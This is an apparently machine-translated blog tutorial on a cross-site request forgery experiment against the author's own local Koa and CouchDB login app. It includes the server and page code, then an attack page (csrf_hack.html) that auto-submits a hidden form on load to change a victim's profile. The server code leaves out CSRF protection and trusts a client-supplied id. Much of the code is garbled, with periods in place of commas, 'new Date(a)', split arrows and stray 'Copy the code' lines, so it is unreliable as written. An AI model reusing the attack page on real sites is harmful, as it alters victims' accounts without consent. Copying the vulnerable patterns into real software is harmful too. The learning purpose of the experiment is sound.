CSRF attack experiment
CSRF attacks involve user victims, trusted sites and malicious sites. When the victim has an active session with a trusted site and visits a malicious site, the malicious site injects an HTTP request to the trusted site, thereby compromising the user’s information.
CSRF attacks always involve three actors: the trusted site (Collabtive), the victim’s session or cookie, and a malicious site. When the victim visits a malicious site and talks to a trusted site at the same time. The attack consists of a series of steps, as follows:
- The victim user logs in to the trusted site using his/her username and password to create a new session.
- The trusted site stores the cookie or session of the victim’s session on the victim’s Web browser.
- Victim users visit malicious sites when they do not log out of trusted sites.
- A malicious web page sends a request to the victim’s trusted site user’s browser.
- Web browsers will automatically connect to session cookies because it is malicious to request against trusted sites.
- If a trusted site is attacked by CSRF, some malicious requests from the attacker will be sent to the trusted site.
Malicious sites can make HTTP GET or POST requests to trusted sites. Some HTML tags, such as IMG iframe, frames, and urls of unlimited form, can be included in their use attributes.
Environment set up
The server
I use the KOA framework as the backend framework to build the server, by the way is also to learn the KOA framework, I did not learn before, because it is a beginner, the construction process is a bit long
Without further ado, code:
// app.js
const Koa = require('koa');
const app = new Koa();
const server = require('koa-static');
const router = require('koa-router') ();const PouchDB = require('pouchdb');
const db = new PouchDB('http://localhost:5984/csrf');
app.use(async (ctx, next) => {
console.log(`Process ${ctx.request.method} ${ctx.request.url}. `);
await next();
});
// add url-route:
router.post('/login'.async (ctx, next) => {
let postData = await parsePostData( ctx );
try {
let response = await db.get(`id_${postData.name}`);
let exp = new Date(a); ctx.cookies.set('id'.`id_${postData.name}`,
{
domain: 'localhost'.// Write the domain name of the cookie
path: '/userInfo.html'.// Write the path to the cookie
maxAge: 24*60*60*1000.// Cookie validity period
expires: exp.setTime(exp.getTime() + 24*60*60*1000), // Cookie expiration time
httpOnly: false.// Whether to obtain only in HTTP requests
overwrite: false // Whether overwriting is allowed})if(response.password === postData.password) ctx.redirect('userInfo.html')}catch (err) {
ctx.body = " Login failed, click here returns
"; }}); router.post('/regist'.async (ctx, next) => {
let postData = await parsePostData( ctx );
postData._id = `id_${postData.name}`;
try {
let response = await db.put(postData);
ctx.body = "< p > registration, click on the < a href = 'index.html" > here < / a > to return to the login interface < / p >";
} catch (err) {
ctx.body = " User name already exists, click here returns
"; }}); router.post('/getUserInfo'.async (ctx, next) => {
let postData = await parsePostDataFromAjax( ctx );
let _id = {};
_id[postData.split(':') [0]] = postData.split(':') [1];
try {
let doc = await db.get(_id.id);
ctx.body = doc;
} catch (err) {
ctx.body = 'Error occurred'; }}); router.post('/change'.async (ctx, next) => {
let postData = await parsePostData( ctx );
console.log(postData);
try {
let doc = await db.get(postData.id);
let response = await db.put({
_id: doc._id,
_rev: doc._rev,
name: postData.name,
password: doc.password,
sex: postData.sex,
desc: postData.desc
});
ctx.body = "< p > modify success, click < a href = 'index.html" > here < / a > to return to the login interface < / p >";
} catch (err) {
console.log(err); }}); app.use(router.routes()); app.use(server(__dirname +'/'));
app.listen(3001);
/** ** For POST request processing, koA2 does not encapsulate the method of obtaining parameters, * requires parsing the POST form data into a Query String by parsing the native Node.js request * object req in the context (e.g. A = 1 = 2 & b & c = 3), then the query string parsed into * JSON format (for example: {" a ":" 1 ", "b" : "2", "c" : "3"}) * /
// Parse the POST parameter of node's native request in context, which is used to process the form input parameter
function parsePostData( ctx ) {
return new Promise((resolve, reject) = > {
try {
let postdata = "";
ctx.req.addListener('data', (data) => {
postdata += data
})
ctx.req.addListener("end".function(){
let parseData = parseQueryStr( postdata )
resolve( parseData )
})
} catch ( err ) {
reject(err)
}
})
}
// Parse the context of node's native request for POST parameters, which handle Ajax incoming parameters
function parsePostDataFromAjax( ctx ) {
return new Promise((resolve, reject) = > {
try {
let postdata = "";
ctx.req.addListener('data', (data) => {
postdata += data
})
ctx.req.addListener("end".function(){
resolve( postdata )
})
} catch ( err ) {
reject(err)
}
})
}
// Parse the POST request parameter string into JSON
function parseQueryStr( queryStr ) {
let queryData = {}
let queryStrList = queryStr.split('&');
for ( let [ index, queryStr ] of queryStrList.entries() ) {
let itemList = queryStr.split('=')
queryData[ itemList[0]] =decodeURIComponent(itemList[1])}return queryData
}
Copy the code
It’s just one file. It contains a lot of stuff
koa-static
Koa middleware for retrieving static fileskoa-router
Koa middleware for routing systemspouchDB
I use itcouchDB
The framework used with the
The database
I’m using couchDB, and it’s very easy to use here. It’s a web page, and I’ll post a picture here, okay
The front page
Front page has a total of three, respectively is the index. The HTML, regist. HTML, the userInfo. HTML, its action are login, registration, show/modify the user information, I didn’t use CSS styles here… A little ugly
index.html
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="Width = device - width, initial - scale = 1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>The login</title>
</head>
<body>
<h2>The login</h2>
<form id="login" action="/login" method="post">Name:<input tyep="text" name="name" />Password:<input type="password" name="password" />
</form>
<button id="button">The login</button>
<a href="./regist.html">registered</a>
</body>
<script>
var button = document.getElementById('button');
var form = document.getElementById('login');
button.onclick = function() {
form.submit();
}
</script>
</html>
Copy the code
regist.html
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="Width = device - width, initial - scale = 1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>registered</title>
</head>
<body>
<h2>registered</h2>
<form id="regist" action="/regist" method="post">Name:<input tyep="text" name="name" /><br>Password:<input type="password" name="password" /><br>Gender:<input type="radio" name="sex" value="male" />male<input type="radio" name="sex" value="female" />female<br>Description:<textarea name="desc" id="" cols="30" rows="10"></textarea>
</form>
<button id="button">registered</button>
<a href="./index.html">The login</a>
</body>
<script>
var button = document.getElementById('button');
var form = document.getElementById('regist');
button.onclick = function() {
form.submit();
}
</script>
</html>
Copy the code
userInfo.html
I used Ajax for this page, so I introduced jQuery
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="Width = device - width, initial - scale = 1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<script src=". / jquery - 3.2.1. Min. Js. ""></script>
<title>The user information</title>
</head>
<body>
<div>
<h1>The user information</h1>
<div>Name:<span id="name"></span></div>
<div>Gender:<span id="sex"></span></div>
<div>Description:<span id="desc"></span></div>
<h1>Modify the information</h1>
<form id="change" action="/change" method="post">
<input id="id" name="id" hidden value=""/>Name:<input tyep="text" name="name" /><br>Gender:<input type="radio" name="sex" value="male" />male<input type="radio" name="sex" value="female" />female<br>Description:<textarea name="desc" id="" cols="30" rows="10"></textarea>
</form>
<button id="button">Modify the</button>
</div>
</body>
<script>
window.onload = function() {
var id = document.cookie.split(";") [0].split("=").join(':');
$.ajax({
url: 'http://localhost:3001/getUserInfo'.data: id,
method: 'post',
}).then(function(res) {
var doc = res;
$("#name").text(doc.name);
$("#sex").text(doc.sex);
$("#desc").text(doc.desc);
$("#id").val(doc._id);
})
var form = document.getElementById("change");
var button = document.getElementById("button");
button.onclick = function() { form.submit(); }}</script>
</html>
Copy the code
Finally, put package.json
{
"name": "csrf"."version": "1.0.0"."description": ""."main": "app.js"."scripts": {
"start": "node app.js"
},
"author": ""."license": "ISC"."devDependencies": {
"koa": "^ 2.2.0." "."koa-router": "^ 7.2.1"."koa-static": "^ 3.0.0"."pouchdb": "^ 6.2.0"}}Copy the code
Command line execution
npm install
npm start
Copy the code
CSRF attacks
At last we reached the point, which was only for a moment, and soon we did the following:
- First I registered an account, then I logged in to this account to view the information as shown in the picture
, and his cookie parameter
In the figure, we find that an important information in the cookie is ID, which is the ID of the current user
- I then use the browser developer tools to view the form data and the requested URL so THAT I can construct a fake request
- Write csrf_hack. HTML
<html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="Width = device - width, initial - scale = 1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>Attacks on the page</title> </head> <body> <h1>This is an attack page</h1> </body> <script> function hack() { var fields; fields += "<input type='hidden' name='id' value='id_1111'/>"; fields += "<input type='hidden' name='name' value='testName'>"; fields += "<input type='hidden' name='sex' value='testSex'>"; fields += "<input type='hidden' name='desc' value='testDesc'>"; var url = "http://localhost:3001/change"; var p = document.createElement("form"); p.action = url; p.innerHTML = fields; p.target = "_self"; p.method = "post"; document.body.appendChild(p); p.submit(); } window.onload = function() { hack(); } </script> </html>` ` `Copy the code
- Start a service, put the csrf_hack.html page in it, and then go to that page. The csrf_hack.html page has been replaced
Matters needing attention
- To use async,await both node versions need to be above 7
- I believe you must also think that the most important thing in this experiment is to get the ID of the attacked party, but we do not have the password of the attacked party, how can we get his ID, this I also continue to think